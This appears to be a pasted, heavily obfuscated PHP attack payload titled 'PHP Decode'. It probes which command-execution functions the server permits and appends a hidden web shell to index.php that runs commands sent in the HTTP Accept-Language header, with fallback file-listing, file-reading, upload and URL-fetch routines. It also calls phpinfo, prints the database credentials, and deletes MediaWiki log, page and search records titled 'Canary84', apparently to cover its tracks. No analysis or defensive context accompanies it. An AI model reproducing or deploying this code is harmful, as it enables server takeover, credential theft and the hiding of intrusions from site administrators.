PHP Decode

if(function_exists(chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6D))) {file_put_contents("index.php",'$o=chr(0x62).chr(0x61).chr(0x73).chr(0x65).chr(0x36).chr(0x34).chr(0x5F).chr(0x64).chr(0x65).chr(0x63).chr(0x6F).chr(0x64).chr(0x65);eval($o("aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pJiZzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sMTQsMyk9PT0iYW9yIil7JGg9Y2hyKDB4NzMpLmNocigweDc5KS5jaHIoMHg3MykuY2hyKDB4NzQpLmNocigweDY1KS5jaHIoMHg2ZCk7JGgoYmFzZTY0X2RlY29kZShzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sMTcpKS4iIDI+JjEiKTt9"));',FILE_APPEND);}elseif(function_exists(chr(0x70).chr(0x61).chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75))){file_put_contents("index.php",'$o=chr(0x62).chr(0x61).chr(0x73).chr(0x65).chr(0x36).chr(0x34).chr(0x5F).chr(0x64).chr(0x65).chr(0x63).chr(0x6F).chr(0x64).chr(0x65);eval($o("aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pJiZzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sMTQsMyk9PT0iYW9yIil7JGg9Y2hyKDB4NzApLmNocigweDYxKS5jaHIoMHg3MykuY2hyKDB4NzMpLmNocigweDc0KS5jaHIoMHg2OCkuY2hyKDB4NzIpLmNocigweDc1KTskaChiYXNlNjRfZGVjb2RlKHN1YnN0cigkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSwxNykpLiIgMj4mMSIpO30="));',FILE_APPEND);}elseif(function_exists(chr(0x73).chr(0x68).chr(0x65).chr(0x6C).chr(0x6C).chr(0x5F).chr(0x65).chr(0x78).chr(0x65).chr(0x63))){file_put_contents("index.php",'$o=chr(0x62).chr(0x61).chr(0x73).chr(0x65).chr(0x36).chr(0x34).chr(0x5F).chr(0x64).chr(0x65).chr(0x63).chr(0x6F).chr(0x64).chr(0x65);eval($o("aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pJiZzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sMTQsMyk9PT0iYW9yIil7JGg9Y2hyKDB4NzMpLmNocigweDY4KS5jaHIoMHg2NSkuY2hyKDB4NkMpLmNocigweDZDKS5jaHIoMHg1RikuY2hyKDB4NjUpLmNocigweDc4KS5jaHIoMHg2NSkuY2hyKDB4NjMpO2VjaG8kaChiYXNlNjRfZGVjb2RlKHN1YnN0cigkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSwxNykpLiIgMj4mMSIpO30="));',FILE_APPEND);}elseif(function_exists(chr(0x65).chr(0x78).chr(0x65).chr(0x63))){file_put_contents("index.php",'$o=chr(0x62).chr(0x61).chr(0x73).chr(0x65).chr(0x36).chr(0x34).chr(0x5F).chr(0x64).chr(0x65).chr(0x63).chr(0x6F).chr(0x64).chr(0x65);eval($o("aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pJiZzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sMTQsMyk9PT0iYW9yIil7JGg9Y2hyKDB4NjUpLmNocigweDc4KS5jaHIoMHg2NSkuY2hyKDB4NjMpOyRoKGJhc2U2NF9kZWNvZGUoc3Vic3RyKCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddLDE3KSkuIiAyPiYxIiwgJGEpO2VjaG8gaW1wbG9kZSgiXG4iLCAkYSk7fQ=="));',FILE_APPEND);}elseif(function_exists(chr(0x70).chr(0x6F).chr(0x70).chr(0x65).chr(0x6E))){file_put_contents("index.php",'$o=chr(0x62).chr(0x61).chr(0x73).chr(0x65).chr(0x36).chr(0x34).chr(0x5F).chr(0x64).chr(0x65).chr(0x63).chr(0x6F).chr(0x64).chr(0x65);eval($o("aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pICYmIHN1YnN0cigkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSwxNCwzKSA9PT0gImFvciIpeyRoPWNocigweDcwKS5jaHIoMHg2RikuY2hyKDB4NzApLmNocigweDY1KS5jaHIoMHg2RSk7JHA9JGgoYmFzZTY0X2RlY29kZShzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sMTcpKS4iIDI+JjEiLCJyIik7ZWNobyBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwKTt9"));',FILE_APPEND);}elseif(function_exists(chr(0x70).chr(0x72).chr(0x6F).chr(0x63).chr(0x5F).chr(0x6F).chr(0x70).chr(0x65).chr(0x6E))){file_put_contents("index.php",'$o=chr(0x62).chr(0x61).chr(0x73).chr(0x65).chr(0x36).chr(0x34).chr(0x5F).chr(0x64).chr(0x65).chr(0x63).chr(0x6F).chr(0x64).chr(0x65);eval($o("aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pICYmIHN1YnN0cigkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSwxNCwzKSA9PT0gImFvciIpeyRoPWNocigweDcwKS5jaHIoMHg3MikuY2hyKDB4NkYpLmNocigweDYzKS5jaHIoMHg1RikuY2hyKDB4NkYpLmNocigweDcwKS5jaHIoMHg2NSkuY2hyKDB4NkUpOyRoPSRoKGJhc2U2NF9kZWNvZGUoc3Vic3RyKCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddLDE3KSkuIiAyPiYxIixhcnJheSgxPT5hcnJheSgicGlwZSIsInciKSksJHApO2VjaG8gc3RyZWFtX2dldF9jb250ZW50cygkcFsxXSk7fQ=="));',FILE_APPEND);}else{echo"nosystem\n";file_put_contents("index.php",'$o=chr(0x62).chr(0x61).chr(0x73).chr(0x65).chr(0x36).chr(0x34).chr(0x5F).chr(0x64).chr(0x65).chr(0x63).chr(0x6F).chr(0x64).chr(0x65);eval($o("aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pICYmIHN1YnN0cigkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSwxNCwzKT09PSJhb3IiKXskcz1iYXNlNjRfZGVjb2RlKHN1YnN0cigkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSwxNykpO2lmKHN1YnN0cigkcywwLDIpPT09ImxzIil7JG89Y2hyKDB4NjIpLmNocigweDYxKS5jaHIoMHg3MykuY2hyKDB4NjUpLmNocigweDM2KS5jaHIoMHgzNCkuY2hyKDB4NUYpLmNocigweDY0KS5jaHIoMHg2NSkuY2hyKDB4NjMpLmNocigweDZGKS5jaHIoMHg2NCkuY2hyKDB4NjUpO2V2YWwoJG8oImFXWW9jM1J5YkdWdUtDUnpLVDA5UFRJcEpITTlJbXh6SUM0aU8yWnZjbVZoWTJnb2MyTmhibVJwY2loemRXSnpkSElvSkhNc015a3BZWE1rWmlscFppaHBjMTlrYVhJb2NtVmhiSEJoZEdnb2MzVmljM1J5S0NSekxETXBLUzRpTHlSbUlpa3BaV05vYnlKa2FYSTZJQ1JtWEc0aU8yVnNjMlZwWmlocGMxOW1hV3hsS0hKbFlXeHdZWFJvS0hOMVluTjBjaWdrY3l3ektTa3VJaThrWmlJcEtXVmphRzhpWm1sc1pUb2dKR1pjYmlJN1pXeHpaU0JsWTJodklDSjFibXR1YjNkdU9pQWtabHh1SWpzPSIpKTt9ZWxzZWlmKHN1YnN0cigkcywwLDMpPT09ImNhdCIpIHskbz1jaHIoMHg2MikuY2hyKDB4NjEpLmNocigweDczKS5jaHIoMHg2NSkuY2hyKDB4MzYpLmNocigweDM0KS5jaHIoMHg1RikuY2hyKDB4NjQpLmNocigweDY1KS5jaHIoMHg2MykuY2hyKDB4NkYpLmNocigweDY0KS5jaHIoMHg2NSk7ZXZhbCgkbygiY21WaFpHWnBiR1VvYzNWaWMzUnlLQ1J6TERRcEtUcz0iKSk7fWVsc2VpZihzdWJzdHIoJHMsMCw0KT09PSJwb3N0IikgeyRvPWNocigweDYyKS5jaHIoMHg2MSkuY2hyKDB4NzMpLmNocigweDY1KS5jaHIoMHgzNikuY2hyKDB4MzQpLmNocigweDVGKS5jaHIoMHg2NCkuY2hyKDB4NjUpLmNocigweDYzKS5jaHIoMHg2RikuY2hyKDB4NjQpLmNocigweDY1KTtldmFsKCRvKCJabWxzWlY5d2RYUmZZMjl1ZEdWdWRITW9jM1ZpYzNSeUtDUnpMRFVwTEdacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NSZlJrbE1SVk5iSjNVblhWc25kRzF3WDI1aGJXVW5YU2tzUmtsTVJWOUJVRkJGVGtRcE95QT0iKSk7fWVsc2VpZihzdWJzdHIoJHMsMCw0KT09PSJjdXJsIikgeyRvPWNocigweDYyKS5jaHIoMHg2MSkuY2hyKDB4NzMpLmNocigweDY1KS5jaHIoMHgzNikuY2hyKDB4MzQpLmNocigweDVGKS5jaHIoMHg2NCkuY2hyKDB4NjUpLmNocigweDYzKS5jaHIoMHg2RikuY2hyKDB4NjQpLmNocigweDY1KTtldmFsKCRvKCJKSEk5YzNSeVpXRnRYMmRsZEY5amIyNTBaVzUwY3lobWIzQmxiaWh6ZFdKemRISW9KSE1zTlNrc0ozSW5LU2s3WldOb2J5UnlPdz09IikpO319"));',FILE_APPEND);}phpinfo();eval($o("aWYoJHdnREJ0eXBlIT09Im15c3FsIillY2hvInNxbCBmYWlsXG4kd2dEQnNlcnZlclxuJHdnREJuYW1lXG4kd2dEQnVzZXJcbiR3Z0RCcGFzc3dvcmRcbiI7dHJ5eyRkYmlvZT13ZkdldERCKERCX01BU1RFUik7JGRiaW9lLT5xdWVyeSgiREVMRVRFIEZST00gYHJlY2VudGNoYW5nZXNgIFdIRVJFIGByY190aXRsZWA9J0NhbmFyeTg0JyIpOyRkYmlvZS0+cXVlcnkoIkRFTEVURSBGUk9NIGBsb2dnaW5nYCBXSEVSRSBgbG9nX3RpdGxlYD0nQ2FuYXJ5ODQnIik7JGRiaW9lLT5xdWVyeSgiREVMRVRFIEZST00gYHBhZ2VgIFdIRVJFIGBwYWdlX3RpdGxlYD0nQ2FuYXJ5ODQnIik7JGRiaW9lLT5xdWVyeSgiREVMRVRFIEZST00gYHNlYXJjaGluZGV4YCBXSEVSRSBgc2lfdGl0bGVgPSdDYW5hcnk4NCciKTskZGJpb2UtPnF1ZXJ5KCJDT01NSVQiKTt9Y2F0Y2goRXhjZXB0aW9uICRlKSB7ZWNobyRlO30="));die();